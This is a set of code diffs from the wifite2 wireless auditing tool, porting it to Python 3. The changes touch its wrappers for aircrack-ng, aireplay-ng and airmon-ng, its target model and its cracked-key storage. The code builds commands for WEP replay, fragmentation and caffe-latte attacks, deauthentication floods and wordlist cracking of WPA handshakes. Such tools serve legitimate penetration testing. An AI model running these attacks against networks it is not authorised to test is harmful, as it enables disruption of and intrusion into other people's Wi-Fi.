w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n')
w.dump()
w.save()
print(w.__dict__['bssid'])

View File

@@ -1,7 +1,8 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from ..config import Configuration
import os
import time
@@ -11,38 +12,105 @@ class CrackResult(object):
''' Abstract class containing results from a crack session '''
# File to save cracks to, in PWD
cracked_file = "cracked.txt"
cracked_file = Configuration.cracked_file
def __init__(self):
self.date = int(time.time())
self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date))
def dump(self):
raise Exception("Unimplemented method: dump()")
raise Exception('Unimplemented method: dump()')
def to_dict(self):
raise Exception("Unimplemented method: to_dict()")
raise Exception('Unimplemented method: to_dict()')
def print_single_line(self, longest_essid):
raise Exception('Unimplemented method: print_single_line()')
def print_single_line_prefix(self, longest_essid):
essid = self.essid if self.essid else 'N/A'
Color.p('{W} ')
Color.p('{C}%s{W}' % essid.ljust(longest_essid))
Color.p(' ')
Color.p('{GR}%s{W}' % self.bssid.ljust(17))
Color.p(' ')
Color.p('{D}%s{W}' % self.readable_date.ljust(19))
Color.p(' ')
def save(self):
''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file
json = []
saved_results = []
if os.path.exists(name):
with open(name, 'r') as fid:
text = fid.read()
try:
json = loads(text)
except Exception, e:
saved_results = loads(text)
except Exception as e:
Color.pl('{!} error while loading %s: %s' % (name, str(e)))
json.append(self.to_dict())
# Check for duplicates
this_dict = self.to_dict()
this_dict.pop('date')
for entry in saved_results:
this_dict['date'] = entry.get('date')
if entry == this_dict:
# Skip if we already saved this BSSID+ESSID+TYPE+KEY
Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % (
self.essid, Configuration.cracked_file))
return
saved_results.append(self.to_dict())
with open(name, 'w') as fid:
fid.write(dumps(json, indent=2))
fid.write(dumps(saved_results, indent=2))
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json)))
% (name, len(saved_results)))
@classmethod
def display(cls):
''' Show cracked targets from cracked file '''
name = cls.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
return
Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % (
len(cracked_targets), name))
results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True)
longest_essid = max([len(result.essid or 'ESSID') for result in results])
# Header
Color.p('{D} ')
Color.p('ESSID'.ljust(longest_essid))
Color.p(' ')
Color.p('BSSID'.ljust(17))
Color.p(' ')
Color.p('DATE'.ljust(19))
Color.p(' ')
Color.p('TYPE'.ljust(5))
Color.p(' ')
Color.p('KEY')
Color.pl('{D}')
Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12))
Color.pl('{W}')
# Results
for result in results:
result.print_single_line(longest_essid)
Color.pl('')
@classmethod
def load_all(cls):
if not os.path.exists(cls.cracked_file): return []
with open(cls.cracked_file, "r") as json_file:
with open(cls.cracked_file, 'r') as json_file:
json = loads(json_file.read())
return json
@@ -68,7 +136,15 @@ class CrackResult(object):
json['essid'],
json['pin'],
json['psk'])
elif json['type'] == 'PMKID':
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid_file'],
json['key'])
result.date = json['date']
result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date))
return result
if __name__ == '__main__':

View File

@@ -1,13 +1,18 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
import re
class WPSState:
NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4)
class Target(object):
'''
Holds details for a "Target" aka Access Point (e.g. router).
Holds details for a 'Target' aka Access Point (e.g. router).
'''
def __init__(self, fields):
@@ -52,13 +57,17 @@ class Target(object):
self.essid_known = True
self.essid_len = int(fields[12].strip())
self.essid = fields[13].strip()
if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs
self.essid = fields[13]
if self.essid == '\\x00' * self.essid_len or \
self.essid == 'x00' * self.essid_len or \
self.essid.strip() == '':
# Don't display '\x00...' for hidden ESSIDs
self.essid = None # '(%s)' % self.bssid
self.essid_known = False
self.wps = None
self.wps = WPSState.UNKNOWN
self.decloaked = False # If ESSID was hidden but we decloaked it.
self.clients = []
@@ -66,26 +75,26 @@ class Target(object):
def validate(self):
''' Checks that the target is valid. '''
if self.channel == "-1":
raise Exception("Ignoring target with Negative-One (-1) channel")
if self.channel == '-1':
raise Exception('Ignoring target with Negative-One (-1) channel')
# Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32
bssid_broadcast = re.compile(r"^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$", re.IGNORECASE)
bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE)
if bssid_broadcast.match(self.bssid):
raise Exception("Ignoring target with Broadcast BSSID (%s)" % self.bssid)
raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid)
bssid_multicast = re.compile(r"^(01:00:5e|01:80:c2|33:33)", re.IGNORECASE)
bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE)
if bssid_multicast.match(self.bssid):
raise Exception("Ignoring target with Multicast BSSID (%s)" % self.bssid)
raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid)
def to_str(self, show_bssid=False):
'''
*Colored* string representation of this Target.
Specifically formatted for the "scanning" table view.
Specifically formatted for the 'scanning' table view.
'''
max_essid_len = 25
essid = self.essid if self.essid_known else "(%s)" % self.bssid
max_essid_len = 24
essid = self.essid if self.essid_known else '(%s)' % self.bssid
# Trim ESSID (router name) if needed
if len(essid) > max_essid_len:
essid = essid[0:max_essid_len-3] + '...'
@@ -94,26 +103,30 @@ class Target(object):
if self.essid_known:
# Known ESSID
essid = Color.s("{C}%s" % essid)
essid = Color.s('{C}%s' % essid)
else:
# Unknown ESSID
essid = Color.s("{O}%s" % essid)
essid = Color.s('{O}%s' % essid)
# Add a '*' if we decloaked the ESSID
decloaked_char = '*' if self.decloaked else ' '
essid += Color.s('{P}%s' % decloaked_char)
if show_bssid:
bssid = Color.s('{O}%s ' % self.bssid)
else:
bssid = ''
channel_color = "{G}"
channel_color = '{G}'
if int(self.channel) > 14:
channel_color = "{C}"
channel = Color.s("%s%s" % (channel_color, str(self.channel).rjust(3)))
channel_color = '{C}'
channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3)))
encryption = self.encryption.rjust(4)
if 'WEP' in encryption:
encryption = Color.s("{G}%s" % encryption)
encryption = Color.s('{G}%s' % encryption)
elif 'WPA' in encryption:
encryption = Color.s("{O}%s" % encryption)
encryption = Color.s('{O}%s' % encryption)
power = '%sdb' % str(self.power).rjust(3)
if self.power > 50:
@@ -124,12 +137,13 @@ class Target(object):
color = 'R'
power = Color.s('{%s}%s' % (color, power))
wps = Color.s('{O} n/a')
if self.wps == True:
if self.wps == WPSState.UNLOCKED:
wps = Color.s('{G} yes')
elif self.wps == False:
wps = Color.s('{R} no')
else:
elif self.wps == WPSState.NONE:
wps = Color.s('{O} no')
elif self.wps == WPSState.LOCKED:
wps = Color.s('{R}lock')
elif self.wps == WPSState.UNKNOWN:
wps = Color.s('{O} n/a')
clients = ' '
@@ -138,14 +152,14 @@ class Target(object):
result = '%s %s%s %s %s %s %s' % (
essid, bssid, channel, encryption, power, wps, clients)
result += Color.s("{W}")
result += Color.s('{W}')
return result
if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
t = Target(fields)
t.clients.append("asdf")
t.clients.append("asdf")
print t.to_str()
t.clients.append('asdf')
t.clients.append('asdf')
print(t.to_str())

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
@@ -24,6 +24,15 @@ class CrackResultWEP(CrackResult):
if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WEP'.ljust(5))
Color.p(' ')
Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', ''))
if self.ascii_key:
Color.p(' (ASCII: {G}%s{W})' % self.ascii_key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
@@ -30,6 +30,13 @@ class CrackResultWPA(CrackResult):
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPA'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,
@@ -45,8 +52,8 @@ if __name__ == '__main__':
w.dump()
w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key')
print '\n'
print('\n')
w.dump()
w.save()
print w.__dict__['bssid']
print(w.__dict__['bssid'])

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
@@ -27,6 +27,15 @@ class CrackResultWPS(CrackResult):
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPS'.ljust(5))
Color.p(' ')
if self.psk:
Color.p('Key: {G}%s{W} ' % self.psk)
Color.p('PIN: {G}%s{W}' % self.pin)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

0
wifite/tools/__init__.py Normal file → Executable file
View File

View File

@@ -1,15 +1,24 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process
from ..util.input import xrange
from ..config import Configuration
import os
import re
class Aircrack(Dependency):
dependency_required = True
dependency_name = 'aircrack-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
class Aircrack(object):
def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
self.cracked_file = os.path.abspath(
os.path.join(
Configuration.temp(), 'wepkey.txt'))
# Delete previous cracked files
if os.path.exists(self.cracked_file):
@@ -19,8 +28,11 @@ class Aircrack(object):
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
if type(ivs_file) is str:
ivs_file = [ivs_file]
command.extend(ivs_file)
self.pid = Process(command, devnull=True)
@@ -39,44 +51,123 @@ class Aircrack(object):
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
with open(self.cracked_file, 'r') as fid:
hex_raw = fid.read()
hex_key = ''
return self._hex_and_ascii_key(hex_raw)
@staticmethod
def _hex_and_ascii_key(hex_raw):
hex_chars = []
ascii_key = ''
while len(hex_raw) > 0:
# HEX
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
for index in xrange(0, len(hex_raw), 2):
byt = hex_raw[index:index+2]
hex_chars.append(byt)
byt_int = int(byt, 16)
if byt_int < 32 or byt_int > 127 or ascii_key is None:
ascii_key = None # Not printable
else:
ascii_key += chr(byt_int)
# ASCII
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key is None:
# We can't generate an Ascii key
continue
# Convert decimal to char
ascii_key += chr(code)
# Trim first two characters
hex_raw = hex_raw[2:]
continue
hex_key = ':'.join(hex_chars)
return (hex_key, ascii_key)
if __name__ == '__main__':
from time import sleep
Configuration.initialize(False)
a = Aircrack('tests/files/wep-crackable.ivs')
while a.is_running():
sleep(1)
if a.is_cracked():
print "cracked!"
print '(hex, ascii) =', a.get_key_hex_ascii()
def __del__(self):
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
@staticmethod
def crack_handshake(handshake, show_command=False):
from ..util.color import Color
from ..util.timer import Timer
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', Configuration.wordlist,
'--bssid', handshake.bssid,
'-l', key_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = 'unknown'
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
print "Not cracked"
continue
status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
status += ' ETA: {C}%s{W}' % eta_str
status += ' @ {C}%0.1fkps{W}' % num_kps
#status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
status += ' (current key: {C}%s{W})' % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl('')
# Check crack result
if os.path.exists(key_file):
with open(key_file, 'r') as fid:
key = fid.read().strip()
os.remove(key_file)
return key
else:
return None
if __name__ == '__main__':
(hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')
assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey
assert asciikey is None, 'asciikey was "%s", expected None' % asciikey
(hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465')
assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey
assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey
from time import sleep
Configuration.initialize(False)
ivs_file = 'tests/files/wep-crackable.ivs'
print('Running aircrack on %s ...' % ivs_file)
aircrack = Aircrack(ivs_file)
while aircrack.is_running():
sleep(1)
assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file
print('aircrack process completed.')
(hexkey, asciikey) = aircrack.get_key_hex_ascii()
print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey))
assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey
assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey
Configuration.exit_gracefully(0)

View File

@@ -1,6 +1,7 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.timer import Timer
@@ -29,44 +30,48 @@ class WEPAttackType(object):
self.value = None
self.name = None
if type(var) is int:
for (name,value) in WEPAttackType.__dict__.iteritems():
for (name,value) in WEPAttackType.__dict__.items():
if type(value) is int:
if value == var:
self.name = name
self.value = value
return
raise Exception("Attack number %d not found" % var)
raise Exception('Attack number %d not found' % var)
elif type(var) is str:
for (name,value) in WEPAttackType.__dict__.iteritems():
for (name,value) in WEPAttackType.__dict__.items():
if type(value) is int:
if name == var:
self.name = name
self.value = value
return
raise Exception("Attack name %s not found" % var)
raise Exception('Attack name %s not found' % var)
elif type(var) == WEPAttackType:
self.name = var.name
self.value = var.value
else:
raise Exception("Attack type not supported")
raise Exception('Attack type not supported')
def __str__(self):
return self.name
class Aireplay(Thread):
class Aireplay(Thread, Dependency):
dependency_required = True
dependency_name = 'aireplay-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html'
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc.
attack_type - str, e.g. 'fakeauth', 'arpreplay', etc.
client_mac - MAC address of an associated client.
'''
super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
self.output_file = Configuration.temp('aireplay_%s.output' % attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
@@ -85,84 +90,144 @@ class Aireplay(Thread):
def stop(self):
''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
return self.stdout
def run(self):
self.stdout = ''
self.xor_percent = '0%'
while self.pid.poll() is None:
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file & clear output file
with open(self.output_file, "r+") as fid:
with open(self.output_file, 'r+') as fid:
lines = fid.read()
self.stdout += lines
fid.seek(0)
fid.truncate()
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
if Configuration.verbose > 1 and lines.strip() != '':
from ..util.color import Color
Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n '))
for line in lines.split('\n'):
line = line.replace('\r', '').strip()
if line == '': continue
if 'Notice: got a deauth/disassoc packet' in line:
self.error = 'Not associated (needs fakeauth)'
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
if 'Sending Authentication Request ' in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
elif 'Please specify an ESSID' in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
elif 'Got a deauthentication packet!' in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
elif 'association successful :-)' in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# Sent 1912 packets, current guess: 70...
sent_re = re.compile(r'Sent (\d+) packets, current guess: (\w+)...')
matches = sent_re.match(line)
if matches:
self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2))
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
offset_re = re.compile(r'Offset.*\(\s*(\d+%) done\)')
matches = offset_re.match(line)
if matches:
self.status = "Generating Xor (%s)" % matches.group(1)
self.xor_percent = matches.group(1)
self.status = 'Generating .xor (%s)...' % self.xor_percent
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
pass
# (ERROR) fakeauth required
if 'try running aireplay-ng in authenticated mode' in line:
self.status = 'fakeauth is required and you are not authenticated'
elif self.attack_type == WEPAttackType.fragment:
# TODO: Parse fragment output, update self.status
# Parse fragment output, update self.status
# (START) Read 178 packets...
read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line)
if matches:
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# 01:08:15 Waiting for a data packet...
if 'Waiting for a data packet' in line:
self.status = 'waiting for packet'
# Read 207 packets...
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line)
if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1)
# 01:08:17 Sending fragmented packet
if 'Sending fragmented packet' in line:
self.status = 'sending packet'
# 01:08:37 Still nothing, trying another packet...
if 'Still nothing, trying another packet' in line:
self.status = 'sending another packet'
# XX:XX:XX Trying to get 1500 bytes of a keystream
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line)
if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1)
# XX:XX:XX Got RELAYED packet!!
# XX:XX:XX Thats our ARP packet!
if 'Got RELAYED packet' in line:
self.status = 'got relayed packet'
# XX:XX:XX That's our ARP packet!
if 'Thats our ARP packet' in line:
self.status = 'relayed packet was our'
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line)
if matches:
self.status = 'saving keystream to %s' % matches.group(1)
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
pass
else: # Replay, forged replay, etc.
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
read_re = re.compile(r'Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)')
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
if pps == '0':
self.status = 'Waiting for packet...'
else:
self.status = "Replaying packet @ %s/sec" % pps
self.status = 'Replaying @ %s/sec' % pps
pass
def __del__(self):
@@ -183,12 +248,12 @@ class Aireplay(Thread):
# Interface is required at this point
Configuration.initialize()
if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)")
raise Exception('Wireless interface must be defined (-i)')
cmd = ["aireplay-ng"]
cmd.append("--ignore-negative-one")
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
if not client_mac and len(target.clients) > 0:
if client_mac is None and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
@@ -198,87 +263,87 @@ class Aireplay(Thread):
if attack_type == WEPAttackType.fakeauth:
cmd.extend([
"--fakeauth", "30", # Fake auth every 30 seconds
"-Q", # Send re-association packets
"-a", target.bssid
'--fakeauth', '30', # Fake auth every 30 seconds
'-Q', # Send re-association packets
'-a', target.bssid
])
if target.essid_known:
cmd.extend(["-e", target.essid])
cmd.extend(['-e', target.essid])
elif attack_type == WEPAttackType.replay:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-x", str(Configuration.wep_pps)
'--arpreplay',
'-b', target.bssid,
'-x', str(Configuration.wep_pps)
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.extend([
"--chopchop",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
'--chopchop',
'-b', target.bssid,
'-x', str(Configuration.wep_pps),
#'-m', '60', # Minimum packet length (bytes)
#'-n', '82', # Maximum packet length
'-F' # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.extend([
"--fragment",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
"-m", "100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
'--fragment',
'-b', target.bssid,
'-x', str(Configuration.wep_pps),
'-m', '100', # Minimum packet length (bytes)
'-F' # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0:
# Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack")
raise Exception('Client is required for caffe-latte attack')
cmd.extend([
"--caffe-latte",
"-b", target.bssid,
"-h", target.clients[0].station
'--caffe-latte',
'-b', target.bssid,
'-h', target.clients[0].station
])
elif attack_type == WEPAttackType.p0841:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-c", "ff:ff:ff:ff:ff:ff",
"-x", str(Configuration.wep_pps),
"-F", # Automatically choose first packet
"-p", "0841"
'--arpreplay',
'-b', target.bssid,
'-c', 'ff:ff:ff:ff:ff:ff',
'-x', str(Configuration.wep_pps),
'-F', # Automatically choose first packet
'-p', '0841'
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac is None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
raise Exception('Client is required for hirte attack')
cmd.extend([
"--cfrag",
"-h", client_mac
'--cfrag',
'-h', client_mac
])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None:
raise Exception("Client_mac and Replay_File are required for arp replay")
raise Exception('Client_mac and Replay_File are required for arp replay')
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-h", client_mac,
"-r", replay_file,
"-F", # Automatically choose first packet
"-x", str(Configuration.wep_pps)
'--arpreplay',
'-b', target.bssid,
'-h', client_mac,
'-r', replay_file,
'-F', # Automatically choose first packet
'-x', str(Configuration.wep_pps)
])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
raise Exception('Unexpected attack type: %s' % attack_type)
cmd.append(Configuration.interface)
return cmd
@@ -323,18 +388,18 @@ class Aireplay(Thread):
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
'aireplay-ng',
'-0', # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a", target_bssid, # Target AP
"-D" # Skip AP detection
'--ignore-negative-one',
'-a', target_bssid, # Target AP
'-D' # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
deauth_cmd.extend(['-c', client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.extend(['-e', essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
@@ -378,30 +443,10 @@ class Aireplay(Thread):
if __name__ == '__main__':
t = WEPAttackType(4)
print t.name, type(t.name), t.value
print(t.name, type(t.name), t.value)
t = WEPAttackType('caffelatte')
print t.name, type(t.name), t.value
print(t.name, type(t.name), t.value)
t = WEPAttackType(t)
print t.name, type(t.name), t.value
print(t.name, type(t.name), t.value)
from ..model.target import Target
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
stdout, stderr = aireplay.get_output()
print "STDOUT>", stdout
print "STDERR>", stderr
'''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print forge
'''

View File

@@ -1,20 +1,65 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.interface import Interface
from .dependency import Dependency
from .ip import Ip
from .iw import Iw
from ..util.process import Process
from ..util.color import Color
from ..util.input import raw_input
from ..config import Configuration
import re
import os
import signal
class Airmon(object):
class AirmonIface(object):
def __init__(self, phy, interface, driver, chipset):
self.phy = phy
self.interface = interface
self.driver = driver
self.chipset = chipset
# Max length of fields.
# Used for printing a table of interfaces.
INTERFACE_LEN = 12
PHY_LEN = 6
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __str__(self):
''' Colored string representation of interface '''
s = ''
s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN))
s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN))
s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN))
s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
s = ' ' # Space for index #
s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN)
s += 'PHY'.ljust(AirmonIface.PHY_LEN)
s += 'Driver'.ljust(AirmonIface.DRIVER_LEN)
s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN)
s += '\n'
s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3)
return s
class Airmon(Dependency):
''' Wrapper around the 'airmon-ng' program '''
dependency_required = True
dependency_name = 'airmon-ng'
